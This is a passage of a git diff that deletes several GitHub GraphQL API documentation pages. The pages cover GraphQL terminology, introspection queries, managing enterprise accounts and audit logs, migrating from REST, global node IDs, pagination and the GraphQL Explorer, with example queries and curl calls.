API](#discovering-the-graphql-api). - -## Field - -A field is a unit of data you can retrieve from an object. As the [official GraphQL docs](https://graphql.org/learn/schema/) say: -"The GraphQL query language is basically about selecting fields on objects." - -The [official spec](https://spec.graphql.org/June2018/#sec-Language.Fields) also says about fields: - -> All GraphQL operations must specify their selections down to fields which return scalar values to ensure an unambiguously shaped response. - -This means that if you try to return a field that is not a scalar, schema validation will throw an error. You must add nested subfields until all fields return scalars. - -## Argument - -An argument is a set of key-value pairs attached to a specific field. Some fields require an argument. [Mutations](/graphql/guides/forming-calls-with-graphql#about-mutations) require an input object as an argument. - -## Implementation - -A GraphQL schema may use the term _implements_ to define how an object inherits from an [interface](/graphql/reference/interfaces). - -Here's a contrived example of a schema that defines interface `X` and object `Y`: - -```graphql -interface X { - some_field: String! - other_field: String! -} - -type Y implements X { - some_field: String! - other_field: String! - new_field: String! -} -``` - -This means object `Y` requires the same fields/arguments/return types that interface `X` does, while adding new fields specific to object `Y`. (The `!` means the field is required.) - -In the reference docs, you'll find that: - -* Each [object](/graphql/reference/objects) lists the interface(s) _from which it inherits_ under **Implements**. - -* Each [interface](/graphql/reference/interfaces) lists the objects _that inherit from it_ under **Implementations**. - -## Connection - -Connections let you query related objects as part of the same call. With connections, you can use a single GraphQL call where you would have to use multiple calls to a REST API. For more information, see [AUTOTITLE](/graphql/guides/migrating-from-rest-to-graphql). - -It's helpful to picture a graph: dots connected by lines. The dots are nodes, the lines are edges. A connection defines a relationship between nodes. - -## Edge - -Edges represent connections between nodes. When you query a connection, you traverse its edges to get to its nodes. Every `edges` field has a `node` field and a `cursor` field. Cursors are used for pagination. For more information, see [AUTOTITLE](/graphql/guides/using-pagination-in-the-graphql-api). - -## Node - -_Node_ is a generic term for an object. You can look up a node directly, or you can access related nodes via a connection. If you specify a `node` that does not return a [scalar](/graphql/reference/scalars), you must include subfields until all fields return scalars. For information on accessing node IDs via the REST API and using them in GraphQL queries, see [AUTOTITLE](/graphql/guides/using-global-node-ids). - -## Discovering the GraphQL API - -GraphQL is [introspective](https://graphql.org/learn/introspection/). This means you can query a GraphQL schema for details about itself. - -* Query `__schema` to list all types defined in the schema and get details about each: - - ```graphql - query { - __schema { - types { - name - kind - description - fields { - name - } - } - } - } - ``` - -* Query `__type` to get details about any type: - - ```graphql - query { - __type(name: "Repository") { - name - kind - description - fields { - name - } - } - } - ``` - -* You can also run an _introspection query_ of the schema via a `GET` request: - - ```shell - curl -H "Authorization: bearer TOKEN" {% data variables.product.graphql_url %} - ``` - - > [!NOTE] - > If you get the response `"message": "Bad credentials"` or `401 Unauthorized`, check that you are using a valid token. If you receive a `403` error with `Resource not accessible by {% data variables.product.pat_generic %}`, ensure that your {% data variables.product.pat_v2 %} is targeted to the correct resource owner. For example, it must target the organization that owns the repository you are trying to access. - - The results are in JSON, so we recommend pretty-printing them for easier reading and searching. You can use a command-line tool like [jq](https://stedolan.github.io/jq/) or pipe the results into `python -m json.tool` for this purpose. - - Alternatively, you can pass the `idl` media type to return the results in IDL format, which is a condensed version of the schema: - - ```shell - $ curl -H "Authorization: bearer TOKEN" -H "Accept: application/vnd.github.v4.idl" \ - {% data variables.product.graphql_url %} - ``` - - > [!NOTE] - > The introspection query is probably the only `GET` request you'll run in GraphQL. If you're passing a body, the GraphQL request method is `POST`, whether it's a query or a mutation. - - For more information about performing queries, see [AUTOTITLE](/graphql/guides/forming-calls-with-graphql). diff --git a/content/graphql/guides/managing-enterprise-accounts.md b/content/graphql/guides/managing-enterprise-accounts.md deleted file mode 100644 index 35007d1d2056..000000000000 --- a/content/graphql/guides/managing-enterprise-accounts.md +++ /dev/null @@ -1,209 +0,0 @@ ---- -title: Managing enterprise accounts -intro: You can manage your enterprise account and the organizations it owns with the GraphQL API. -redirect_from: - - /v4/guides/managing-enterprise-accounts -versions: - ghec: '*' - ghes: '*' -topics: - - API -shortTitle: Manage enterprise accounts ---- - -## About managing enterprise accounts with GraphQL - -To help you monitor and make changes in your organizations and maintain compliance, you can use the Enterprise Accounts API and the Audit Log API, which are only available as GraphQL APIs. - -The enterprise account endpoints work for both GitHub Enterprise Cloud and for GitHub Enterprise Server. - -GraphQL allows you to request and return just the data you specify. For example, you can create a GraphQL query, or request for information, to see all the new organization members added to your organization. Or you can make a mutation, or change, to invite an administrator to your enterprise account. - -With the Audit Log API, you can monitor when someone: -* Accesses your organization or repository settings. -* Changes permissions. -* Adds or removes users in an organization, repository, or team. -* Promotes users to admin. -* Changes permissions of a GitHub App. - -The Audit Log API enables you to keep copies of your audit log data. For queries made with the Audit Log API, the GraphQL response can include data for up to 90 to 120 days. For a list of the fields available with the Audit Log API, see the [AUTOTITLE](/graphql/reference/interfaces#auditentry/). - -With the Enterprise Accounts API, you can: -* List and review all of the organizations and repositories that belong to your enterprise account. -* Change Enterprise account settings. -* Configure policies for settings on your enterprise account and its organizations. -* Invite administrators to your enterprise account. -* Create new organizations in your enterprise account. - -For a list of the fields available with the Enterprise Accounts API, see [AUTOTITLE](/graphql/guides/managing-enterprise-accounts#graphql-fields-and-types-for-the-enterprise-accounts-api). - -## Getting started using GraphQL for enterprise accounts - -Follow these steps to get started using GraphQL to manage your enterprise accounts: -* Authenticating with a {% data variables.product.pat_generic %} -* Choosing a GraphQL client or using the GraphQL Explorer -* Setting up Insomnia to use the GraphQL API - -For some example queries, see [An example query using the Enterprise Accounts API](#an-example-query-using-the-enterprise-accounts-api). - -### 1. Authenticate with your {% data variables.product.pat_generic %} - -1. To authenticate with GraphQL, you need to generate a {% data variables.product.pat_generic %} from developer settings. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -1. Grant admin and full control permissions to your {% data variables.product.pat_generic %} for areas of your enterprise you'd like to access. For full permission to private repositories, organizations, teams, user data, and access to enterprise billing and profile data, we recommend you select these scopes for your {% data variables.product.pat_generic %}: - * `repo` - * `admin:org` - * `user` - * `admin:enterprise` - - The enterprise account specific scopes are: - * `admin:enterprise`: Gives full control of enterprises (includes `manage_runners:enterprise`, `manage_billing:enterprise` and `read:enterprise`) - * `manage_billing:enterprise`: Read and write enterprise billing data.{% ifversion ghes %} - * `manage_runners:enterprise`: Access to manage GitHub Actions enterprise runners and runner-groups.{% endif %} - * `read:enterprise`: Read enterprise profile data. - -1. Copy your {% data variables.product.pat_generic %} and keep it in a secure place until you add it to your GraphQL client. - -### 2. Choose a GraphQL client - -We recommend you use GraphiQL or another standalone GraphQL client that lets you configure the base URL. - -You may also consider using these GraphQL clients: -* [Insomnia](https://support.insomnia.rest/article/176-graphql-queries) -* [GraphiQL](https://www.gatsbyjs.org/docs/running-queries-with-graphiql/) -* [Postman](https://learning.getpostman.com/docs/postman/sending_api_requests/graphql/) - -The next steps will use Insomnia. - -### 3. Setting up Insomnia to use the GitHub GraphQL API with enterprise accounts - -1. Add the base url and `POST` method to your GraphQL client. When using GraphQL to request information (queries), change information (mutations), or transfer data using the GitHub API, the default HTTP method is `POST` and the base url follows this syntax: - * For your enterprise instance: `https:///api/graphql` - * For GitHub Enterprise Cloud: `https://api.github.com/graphql` - -1. Select the "Auth" menu and click **Bearer Token**. If you've previously selected a different authentication method, the menu will be labeled with that method, such as "Basic Auth", instead. - ![Screenshot of the expanded "Auth" menu in Insomnia. The menu label, "Auth", and the "Bearer Token" option are outlined in dark orange.](/assets/images/developer/graphql/insomnia-bearer-token-option.png) -1. In the "TOKEN" field, enter your {% data variables.product.pat_generic %} from an earlier step. - ![Screenshot of the "Bearer" authentication settings in Insomnia. The "TOKEN" field is outlined in dark orange.](/assets/images/developer/graphql/insomnia-base-url-and-pat.png) -1. Click **Headers**. - ![Screenshot of the settings tabs in Insomnia. The "Headers" tab is outlined in dark orange.](/assets/images/developer/graphql/json-content-type-header.png) -1. Under the **Headers** tab, click **Add**. -1. In the "header" field, enter `Content-Type`. -1. In the "value" field, enter `application/json`. - -Now you are ready to start making queries. - -## An example query using the Enterprise Accounts API - -This GraphQL query requests the total number of `public` repositories in each of your appliance's organizations using the Enterprise Accounts API. To customize this query, replace `` with the handle for your enterprise account. For example, if your enterprise account is located at `https://github.com/enterprises/octo-enterprise`, replace `` with `octo-enterprise`. - -```graphql -query publicRepositoriesByOrganization($slug: String!) { - enterprise(slug: $slug) { - ...enterpriseFragment - } -} - -fragment enterpriseFragment on Enterprise { - ... on Enterprise{ - name - organizations(first: 100){ - nodes{ - name - ... on Organization{ - name - repositories(privacy: PUBLIC){ - totalCount - } - } - } - } - } -} - -# Passing our Enterprise Account as a variable -variables { - "slug": "" -} -``` - -The next GraphQL query example shows how challenging it is to retrieve the number of `public` repositories in each organization without using the Enterprise Account API. Notice that the GraphQL Enterprise Accounts API has made this task simpler for enterprises since you only need to customize a single variable. To customize this query, replace `` and ``, etc. with the organization names on your instance. - -```graphql -# Each organization is queried separately -{ - organizationOneAlias: organization(login: "nameOfOrganizationOne") { - # How to use a fragment - ...repositories - } - organizationTwoAlias: organization(login: "nameOfOrganizationTwo") { - ...repositories - } - # organizationThreeAlias ... and so on up-to lets say 100 -} - -## How to define a fragment -fragment repositories on Organization { - name - repositories(privacy: PUBLIC){ - totalCount - } -} -``` - -## Query each organization separately - -```graphql -query publicRepositoriesByOrganization { - organizationOneAlias: organization(login: "") { - # How to use a fragment - ...repositories - } - organizationTwoAlias: organization(login: "") { - ...repositories - } - # organizationThreeAlias ... and so on up-to lets say 100 -} -# How to define a fragment -fragment repositories on Organization { - name - repositories(privacy: PUBLIC){ - totalCount - } -} -``` - -This GraphQL query requests the last 5 log entries for an enterprise organization. To customize this query, replace `` and ``. - -```graphql -{ - organization(login: "") { - auditLog(last: 5, query: "actor:") { - edges { - node { - ... on AuditEntry { -# Get Audit Log Entry by 'Action' - action - actorLogin - createdAt -# User 'Action' was performed on - user{ - name - email - } - } - } - } - } - } -} -``` - -For more information about getting started with GraphQL, see [AUTOTITLE](/graphql/guides/introduction-to-graphql) and [AUTOTITLE](/graphql/guides/forming-calls-with-graphql). - -## GraphQL fields and types for the Enterprise Accounts API - -For more details about the new queries, mutations, and schema defined types available for use with the Enterprise Accounts API, see the sidebar with detailed GraphQL definitions from any [GraphQL reference page](/graphql). - -You can access the reference docs from within the GraphQL explorer on GitHub. For more information, see [AUTOTITLE](/graphql/guides/using-the-explorer#accessing-the-sidebar-docs). -For other information, such as authentication and rate limit details, check out the [guides](/graphql/guides). diff --git a/content/graphql/guides/migrating-from-rest-to-graphql.md b/content/graphql/guides/migrating-from-rest-to-graphql.md deleted file mode 100644 index be42b1f3d39a..000000000000 --- a/content/graphql/guides/migrating-from-rest-to-graphql.md +++ /dev/null @@ -1,218 +0,0 @@ ---- -title: Migrating from REST to GraphQL -intro: 'Learn best practices and considerations for migrating from {% data variables.product.prodname_dotcom %}''s REST API to {% data variables.product.prodname_dotcom %}''s GraphQL API.' -redirect_from: - - /v4/guides/migrating-from-rest - - /graphql/guides/migrating-from-rest -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -shortTitle: Migrate from REST to GraphQL ---- - -## Differences in API logic - -{% data variables.product.company_short %} provides two APIs: a REST API and a GraphQL API. For more information about {% data variables.product.company_short %}'s APIs, see [AUTOTITLE](/rest/overview/about-githubs-apis). - -Migrating from REST to GraphQL represents a significant shift in API logic. The differences between REST as a style and GraphQL as a specification make it difficult—and often undesirable—to replace REST API calls with GraphQL API queries on a one-to-one basis. We've included specific examples of migration below. - -To migrate your code from the [REST API](/rest) to the GraphQL API: - -* Review the [GraphQL spec](https://spec.graphql.org/June2018/) -* Review GitHub's [GraphQL schema](/graphql/reference) -* Consider how any existing code you have currently interacts with the GitHub REST API -* Use [Global Node IDs](/graphql/guides/using-global-node-ids) to reference objects between API versions - -Significant advantages of GraphQL include: - -* [Getting the data you need and nothing more](#example-getting-the-data-you-need-and-nothing-more) -* [Nested fields](#example-nesting) -* [Strong typing](#example-strong-typing) - -Here are examples of each. - -## Example: Getting the data you need and nothing more - -A single REST API call retrieves a list of your organization's members: - -```shell -curl -v {% data variables.product.rest_url %}/orgs/:org/members -``` - -The REST payload contains excessive data if your goal is to retrieve only member names and links to avatars. However, a GraphQL query returns only what you specify: - -```graphql -query { - organization(login:"github") { - membersWithRole(first: 100) { - edges { - node { - name - avatarUrl - } - } - } - } -} -``` - -Consider another example: retrieving a list of pull requests and checking if each one is mergeable. A call to the REST API retrieves a list of pull requests and their [summary representations](/rest#summary-representations): - -```shell -curl -v {% data variables.product.rest_url %}/repos/:owner/:repo/pulls -``` - -Determining if a pull request is mergeable requires retrieving each pull request individually for its [detailed representation](/rest#detailed-representations) (a large payload) and checking whether its `mergeable` attribute is true or false: - -```shell -curl -v {% data variables.product.rest_url %}/repos/:owner/:repo/pulls/:number -``` - -With GraphQL, you could retrieve only the `number` and `mergeable` attributes for each pull request: - -```graphql -query { - repository(owner:"octocat", name:"Hello-World") { - pullRequests(last: 10) { - edges { - node { - number - mergeable - } - } - } - } -} -``` - -## Example: Nesting - -Querying with nested fields lets you replace multiple REST calls with fewer GraphQL queries. For example, retrieving a pull request along with its commits, non-review comments, and reviews using the **REST API** requires four separate calls: - -```shell -curl -v {% data variables.product.rest_url %}/repos/:owner/:repo/pulls/:number -curl -v {% data variables.product.rest_url %}/repos/:owner/:repo/pulls/:number/commits -curl -v {% data variables.product.rest_url %}/repos/:owner/:repo/issues/:number/comments -curl -v {% data variables.product.rest_url %}/repos/:owner/:repo/pulls/:number/reviews -``` - -Using the **GraphQL API**, you can retrieve the data with a single query using nested fields: - -```graphql -{ - repository(owner: "octocat", name: "Hello-World") { - pullRequest(number: 1) { - commits(first: 10) { - edges { - node { - commit { - oid - message - } - } - } - } - comments(first: 10) { - edges { - node { - body - author { - login - } - } - } - } - reviews(first: 10) { - edges { - node { - state - } - } - } - } - } -} -``` - -You can also extend the power of this query by [substituting a variable](/graphql/guides/forming-calls-with-graphql#working-with-variables) for the pull request number. - -## Example: Strong typing - -GraphQL schemas are strongly typed, making data handling safer. - -Consider an example of adding a comment to an issue or pull request using a GraphQL [mutation](/graphql/reference/mutations), and mistakenly specifying an integer rather than a string for the value of [`clientMutationId`](/graphql/reference/mutations#addcomment): - -```graphql -mutation { - addComment(input:{clientMutationId: 1234, subjectId: "MDA6SXNzdWUyMjcyMDA2MTT=", body: "Looks good to me!"}) { - clientMutationId - commentEdge { - node { - body - repository { - id - name - nameWithOwner - } - issue { - number - } - } - } - } -} -``` - -Executing this query returns errors specifying the expected types for the operation: - -```json -{ - "data": null, - "errors": [ - { - "message": "Argument 'input' on Field 'addComment' has an invalid value. Expected type 'AddCommentInput!'.", - "locations": [ - { - "line": 3, - "column": 3 - } - ] - }, - { - "message": "Argument 'clientMutationId' on InputObject 'AddCommentInput' has an invalid value. Expected type 'String'.", - "locations": [ - { - "line": 3, - "column": 20 - } - ] - } - ] -} -``` - -Wrapping `1234` in quotes transforms the value from an integer into a string, the expected type: - -```graphql -mutation { - addComment(input:{clientMutationId: "1234", subjectId: "MDA6SXNzdWUyMjcyMDA2MTT=", body: "Looks good to me!"}) { - clientMutationId - commentEdge { - node { - body - repository { - id - name - nameWithOwner - } - issue { - number - } - } - } - } -} -``` diff --git a/content/graphql/guides/migrating-graphql-global-node-ids.md b/content/graphql/guides/migrating-graphql-global-node-ids.md deleted file mode 100644 index 22a5b6ea7699..000000000000 --- a/content/graphql/guides/migrating-graphql-global-node-ids.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Migrating GraphQL global node IDs -intro: Learn about the two global node ID formats and how to migrate from the legacy format to the new format. -versions: - fpt: '*' - ghec: '*' -topics: - - API -shortTitle: Migrating global node IDs ---- - -## Background - -The {% data variables.product.github %} GraphQL API currently supports two types of global node ID formats. The legacy format will be {% data variables.release-phases.closing_down %} and replaced with a new format. This guide shows you how to migrate to the new format, if necessary. - -By migrating to the new format, you ensure that the response times of your requests remain consistent and small. You also ensure that your application continues to work once the legacy IDs are {% data variables.release-phases.closing_down %}. - -To learn more about why the legacy global node ID format will be {% data variables.release-phases.closing_down %}, see [New global ID format coming to GraphQL](https://github.blog/2021-02-10-new-global-id-format-coming-to-graphql). - -## Determining if you need to take action - -You only need to follow the migration steps if you store references to GraphQL global node IDs. These IDs correspond to the `id` field for any object in the schema. If you don't store any global node IDs, then you can continue to interact with the API with no change. - -Additionally, if you currently decode the legacy IDs to extract type information (for example, if you use the first two characters of `PR_kwDOAHz1OX4uYAah` to determine if the object is a pull request), your service will break since the format of the IDs has changed. You should migrate your service to treat these IDs as opaque strings. These IDs will be unique, therefore you can rely on them directly as references. - -## Migrating to the new global IDs - -To facilitate migration to the new ID format, you can use the `X-Github-Next-Global-ID` header in your GraphQL API requests. The value of the `X-Github-Next-Global-ID` header can be `1` or `0`. Setting the value to `1` will force the response payload to always use the new ID format for any object that you requested the `id` field for. Setting the value to `0` will revert to default behavior, which is to show the legacy ID or new ID depending on the object creation date. - -Here is an example request using a `curl` command: - -```shell -$ curl \ - -H "Authorization: Bearer $GITHUB_TOKEN" \ - -H "X-Github-Next-Global-ID: 1" \ - https://api.github.com/graphql \ - -d '{ "query": "{ node(id: \"MDQ6VXNlcjM0MDczMDM=\") { id } }" }' -``` - -Even though the legacy ID `MDQ6VXNlcjM0MDczMDM=` was used in the query, the response will contain the new ID format: - -```json -{"data":{"node":{"id":"U_kgDOADP9xw"}}} -``` - -With the `X-Github-Next-Global-ID` header, you can find the new ID format for legacy IDs that you reference in your application. You can then update those references with the ID received in the response. You should update all references to legacy IDs and use the new ID format for any subsequent requests to the API. -To perform bulk operations, you can use aliases to submit multiple node queries in one API call. For more information, see [the GraphQL docs](https://graphql.org/learn/queries/#aliases). - -You can also get the new ID for a collection of items. For example, if you wanted to get the new ID for the last 10 repositories in your organization, you could use a query like this: - -```graphql -{ - organization(login: "github") { - repositories(last: 10) { - edges { - cursor - node { - name - id - } - } - } - } -} -``` - -Note that setting `X-Github-Next-Global-ID` to `1` will affect the return value of every `id` field in your query. This means that even when you submit a non-`node` query, you will get back the new format ID if you requested the `id` field. - -## Sharing feedback - -If you have any concerns about the rollout of this change impacting your app, please contact {% data variables.contact.contact_support %} and include information such as your app name so that we can better assist you. diff --git a/content/graphql/guides/using-global-node-ids.md b/content/graphql/guides/using-global-node-ids.md deleted file mode 100644 index b9dc89416ad2..000000000000 --- a/content/graphql/guides/using-global-node-ids.md +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: Using global node IDs -intro: You can get global node IDs of objects via the REST API and use them in GraphQL operations. -redirect_from: - - /v4/guides/using-global-node-ids -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API ---- - -You can access most objects in GitHub (users, issues, pull requests, etc.) using either the REST API or the GraphQL API. You can find the **global node ID** of many objects from within the REST API and use these IDs in your GraphQL operations. For more information, see [Preview GraphQL API Node IDs in REST API resources](https://developer.github.com/changes/2017-12-19-graphql-node-id/). - -> [!NOTE] -> In REST, the global node ID field is named `node_id`. In GraphQL, it's an `id` field on the `node` interface. For a refresher on what "node" means in GraphQL, see [AUTOTITLE](/graphql/guides/introduction-to-graphql#node). - -## Putting global node IDs to use - -You can follow three steps to use global node IDs effectively: - -1. Call a REST endpoint that returns an object's `node_id`. -1. Find the object's type in GraphQL. -1. Use the ID and type to do a direct node lookup in GraphQL. - -Let's walk through an example. - -## 1. Call a REST endpoint that returns an object's node ID - -If you [request the authenticated user](/rest/users/users#get-the-authenticated-user): - -```shell -curl -i --header "Authorization: Bearer YOUR-TOKEN" {% data variables.product.rest_url %}/user -``` - -you'll get a response that includes the `node_id` of the authenticated user: - -```json -{ - "login": "octocat", - "id": 1, - "avatar_url": "https://github.com/images/error/octocat_happy.gif", - "gravatar_id": "", - "url": "https://api.github.com/users/octocat", - "html_url": "https://github.com/octocat", - "followers_url": "https://api.github.com/users/octocat/followers", - "following_url": "https://api.github.com/users/octocat/following{/other_user}", - "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", - "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", - "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", - "organizations_url": "https://api.github.com/users/octocat/orgs", - "repos_url": "https://api.github.com/users/octocat/repos", - "events_url": "https://api.github.com/users/octocat/events{/privacy}", - "received_events_url": "https://api.github.com/users/octocat/received_events", - "type": "User", - "site_admin": false, - "name": "monalisa octocat", - "company": "GitHub", - "blog": "https://github.com/blog", - "location": "San Francisco", - "email": "octocat@github.com", - "hireable": false, - "bio": "There once was...", - "public_repos": 2, - "public_gists": 1, - "followers": 20, - "following": 0, - "created_at": "2008-01-14T04:33:35Z", - "updated_at": "2008-01-14T04:33:35Z", - "private_gists": 81, - "total_private_repos": 100, - "owned_private_repos": 100, - "disk_usage": 10000, - "collaborators": 8, - "two_factor_authentication": true, - "plan": { - "name": "Medium", - "space": 400, - "private_repos": 20, - "collaborators": 0 - }, - "node_id": "MDQ6VXNlcjU4MzIzMQ==" -} -``` - -## 2. Find the object type in GraphQL - -In this example, the `node_id` value is `MDQ6VXNlcjU4MzIzMQ==`. You can use this value to query the same object in GraphQL. - -You'll need to know the object's _type_ first, though. You can check the type with a simple GraphQL query: - -```graphql -query { - node(id:"MDQ6VXNlcjU4MzIzMQ==") { - __typename - } -} -``` - -This type of query—that is, finding the node by ID—is known as a "direct node lookup." - -When you run this query, you'll see that the `__typename` is [`User`](/graphql/reference/objects#user). - -## 3. Do a direct node lookup in GraphQL - -Once you've confirmed the type, you can use an [inline fragment](https://graphql.org/learn/queries/#inline-fragments) to access the object by its ID and return additional data. In this example, we define the fields on `User` that we'd like to query: - -```graphql -query { - node(id:"MDQ6VXNlcjU4MzIzMQ==") { - ... on User { - name - login - } - } -} -``` - -This type of query is the standard approach for looking up an object by its global node ID. - -## Using global node IDs in migrations - -When building integrations that use either the REST API or the GraphQL API, it's best practice to persist the global node ID so you can easily reference objects across API versions. For more information on handling the transition between REST and GraphQL, see [AUTOTITLE](/graphql/guides/migrating-from-rest-to-graphql). diff --git a/content/graphql/guides/using-pagination-in-the-graphql-api.md b/content/graphql/guides/using-pagination-in-the-graphql-api.md deleted file mode 100644 index c36b34ea077b..000000000000 --- a/content/graphql/guides/using-pagination-in-the-graphql-api.md +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Using pagination in the GraphQL API -intro: Learn how to traverse data sets using cursor based pagination with the GraphQL API. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -shortTitle: Pagination ---- - -## About pagination - -{% data variables.product.company_short %}'s GraphQL API limits the number of items that you can fetch in a single request in order to protect against excessive or abusive requests to GitHub's servers. When you use the GraphQL API, you must supply a `first` or `last` argument on any connection. The value of these arguments must be between 1 and 100. The GraphQL API will return the number of connections specified by the `first` or `last` argument. - -If the data that you are accessing has more connections than the number of items specified by the `first` or `last` argument, the response is divided into smaller "pages" of the specified size. These pages can be fetched one at a time until the entire data set has been retrieved. Each page contains the number of items specified by the `first` or `last` argument, unless it is the last page, which may contain a lower number of items. - -This guide demonstrates how to request additional pages of results for paginated responses, how to change the number of results returned on each page, and how to write a script to fetch multiple pages of results. - -## Requesting a `cursor` in your query - -When using the GraphQL API, you use cursors to traverse through a paginated data set. The cursor represents a specific position in the data set. You can get the first and last cursor on a page by querying the `pageInfo` object. For example: - -```graphql -query($owner: String!, $name: String!) { - repository(owner: $owner, name: $name) { - pullRequests(first: 100, after: null) { - nodes { - createdAt - number - title - } - pageInfo { - endCursor - startCursor - hasNextPage - hasPreviousPage - } - } - } -} -``` - -In this example, `pageInfo.startCursor` gives the cursor for the first item on the page. `pageInfo.endCursor` gives the cursor for the last item on the page. `pageInfo.hasNextPage` and `pageInfo.hasPreviousPage` indicate whether there is a page before and after the page that was returned. - -## Changing the number of items per page - -The `first` and `last` arguments control how many items are returned. The maximum number of items you can fetch using the `first` or `last` argument is 100. You may need to request fewer than 100 items if your query touches a lot of data in order to avoid hitting a rate or node limit. For more information, see [AUTOTITLE](/graphql/overview/rate-limits-and-node-limits-for-the-graphql-api). - -## Traversing the data set using pagination - -Once you return a cursor from a query, you can use the cursor to request the next page of results. To do so, you will use the `after` or `before` argument and the cursor. - -For example, assuming the `pageInfo.endCursor` value from the previous example was `Y3Vyc29yOnYyOpHOUH8B7g==`, you can use this query to request the next page of results: - -```graphql -query($owner: String!, $name: String!) { - repository(owner: $owner, name: $name) { - pullRequests(first: 1, after: "Y3Vyc29yOnYyOpHOUH8B7g==") { - nodes { - createdAt - number - title - } - pageInfo { - endCursor - hasNextPage - hasPreviousPage - } - } - } -} -``` - -You can continue to send queries with the new `pageInfo.endCursor` value returned in the response until there are no pages left to traverse, indicated by `pageInfo.hasNextPage` returning `false`. - -If you specified the `last` instead of the `first` argument, the last page of results will be returned first. In this case, you will use the `pageInfo.startCursor` value and the `before` argument to get the previous page of results. Once `pageInfo.hasPreviousPage` returns `false`, you have reached the last page. For example: - -```graphql -query($owner: String!, $name: String!) { - repository(owner: $owner, name: $name) { - pullRequests(last: 1, before: "R3Vyc29yOnYyOpHOHcfoOg==") { - nodes { - createdAt - number - title - } - pageInfo { - startCursor - hasPreviousPage - } - } - } -} -``` - -## Next steps - -You can use {% data variables.product.company_short %}'s Octokit SDK and the `octokit/plugin-paginate-graphql` plugin to support pagination in your scripts. For more information, see [plugin-paginate-graphql.js](https://github.com/octokit/plugin-paginate-graphql.js). diff --git a/content/graphql/guides/using-the-explorer.md b/content/graphql/guides/using-the-explorer.md deleted file mode 100644 index 80b1ce9f69c8..000000000000 --- a/content/graphql/guides/using-the-explorer.md +++ /dev/null @@ -1,152 +0,0 @@ ---- -title: Using the Explorer -intro: 'You can run queries on real {% data variables.product.prodname_dotcom %} data using the GraphQL Explorer, an integrated development environment in your browser that includes docs, syntax highlighting, and validation errors.' -redirect_from: - - /v4/guides/using-the-explorer -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API ---- - -## About the GraphQL Explorer - -{% ifversion ghec %} - -> [!NOTE] -> If your {% data variables.product.prodname_ghe_cloud %} organization uses {% data variables.product.prodname_dotcom %}'s IP allow list, you won't be able to use the GraphQL Explorer. Instead, we recommend using an alternative GraphQL client IDE. - -{% endif %} - -{% ifversion fpt or ghec %} - -[GraphQL Explorer](/graphql/overview/explorer) is an instance of [GraphiQL](https://github.com/graphql/graphiql), which is a "graphical interactive in-browser GraphQL IDE." - -{% else %} - -[GraphiQL](https://github.com/graphql/graphiql), also referred to in this documentation as the GraphQL Explorer, is a "graphical interactive in-browser GraphQL IDE." - -{% endif %} - -## Query autocompletion - -You can use query autocompletion to help you build queries. In the main pane, within the curly brackets of your query, use control+space or shift+space to display the autocomplete menu. - -## Accessing the sidebar docs - -All types in a GraphQL schema include a `description` field compiled into documentation. The collapsible **Docs** pane on the right side of the Explorer page allows you to browse documentation about the type system. The docs are automatically updated and will drop fields that are {% data variables.release-phases.closing_down %}. - -> [!NOTE] -> The **Docs** sidebar contains the same content that is automatically generated from the schema under [AUTOTITLE](/graphql), though it is formatted differently in places. - -## Using the variable pane - -Some example calls include [variables](/graphql/guides/forming-calls-with-graphql#working-with-variables) written like this: - -```graphql -query($number_of_repos:Int!){ - viewer { - name - repositories(last: $number_of_repos) { - nodes { - name - } - } - } -} -variables { - "number_of_repos": 3 -} -``` - -This is the correct format to submit the call using a `POST` request in a `curl` command (as long as you [escape newlines](/graphql/guides/forming-calls-with-graphql#communicating-with-graphql)). - -If you want to run the call in the Explorer, enter the `query` segment in the main pane and the variables in the **Query Variables** pane below it. Omit the word `variables` from the Explorer: - -```graphql -{ - "number_of_repos": 3 -} -``` - -## Using the Altair GraphQL Client IDE - -There are many open source GraphQL client IDEs. For example, you can use Altair to access {% data variables.product.company_short %}'s GraphQL API. To access the GraphQL API with Altair, download and install it from [altair-graphql/altair](https://github.com/altair-graphql/altair). Then, follow the configuration steps below. - -### Configuring Altair - -1. Get an [access token](/graphql/guides/forming-calls-with-graphql#authenticating-with-graphql). -1. Launch Altair. -1. In the left sidebar, below the Altair logo, click **Set Headers**. A new window will open. -1. In the "Header key" field, enter `Authorization`. -1. In the "Header value" field, enter `Bearer TOKEN`, replacing `TOKEN` with your token from the first step. -1. Click **Save** in the bottom right corner of the window to save your authorization header. -1. In the "GraphQL Endpoint" field, enter your GraphQL URL, such as `{% data variables.product.graphql_url %}`. -1. To load the {% data variables.product.company_short %} GraphQL schema, download the [public schema](/graphql/overview/public-schema). -1. In Altair, click on **Docs** on the top right, then the three dots and **Load Schema...** -1. Select the file public schema that you downloaded in an earlier step. - -> [!NOTE] -> For more information about why `POST` is the method, see [AUTOTITLE](/graphql/guides/forming-calls-with-graphql#communicating-with-graphql). - -You can test your access by querying yourself: - -```graphql -query { - viewer { - login - } -} -``` - -If everything worked correctly, this will display your login. You're all set to start making queries. - -## Requesting support - -{% data reusables.support.help_resources %} - -## Troubleshooting errors - -Because GraphQL is [introspective](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api), the Explorer supports: - -* Intelligent typeaheads aware of the current schema -* Validation error previews as you type - -If you enter a query that is not well-formed or does not pass [schema validation](/graphql/guides/introduction-to-graphql#schema), a popup warns you of an error. If you run the query, the error returns in the response pane. - -A GraphQL response contains several keys: a `data` hash and an `errors` array. - -```json -{ - "data": null, - "errors": [ - { - "message": "Objects must have selections (field 'nodes' returns Repository but has no selections)", - "locations": [ - { - "line": 5, - "column": 8 - } - ] - } - ] -} -``` - -It's possible you might run into an unexpected error that is not related to the schema. If this happens, the message will include a reference code you can use when reporting the issue: - -```json -{ - "data": null, - "errors": [ - { - "message": "Something went wrong while executing your query. This is most likely a GitHub bug. Please include \"7571:3FF6:552G94B:69F45B7:5913BBEQ\" when reporting this issue." - } - ] -} -``` - -> [!NOTE] -> {% data variables.product.prodname_dotcom %} recommends checking for errors before using data in a production environment. In 